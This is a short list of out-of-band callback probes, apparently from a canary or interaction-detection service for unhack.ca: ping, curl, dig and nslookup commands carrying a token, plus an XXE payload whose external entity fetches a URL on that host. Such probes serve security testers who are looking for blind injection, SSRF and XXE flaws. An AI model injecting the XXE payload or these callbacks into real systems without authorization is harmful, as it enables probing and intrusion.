$ ping -c1 -p 00548fbdcf2271f29a8dc845b4307b00 unhack.ca
 

$ curl http://unhack.ca/p/548fbdcf2271f29a8dc845b4307b
 

$ dig 548fbdcf2271f29a8dc845b4307b @unhack.ca
 

$ dig 548fbdcf2271f29a8dc845b4307b.ns.unhack.ca
 

C:\> nslookup 548fbdcf2271f29a8dc845b4307b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/548fbdcf2271f29a8dc845b4307b">]>
    <foo>&xxe;</foo>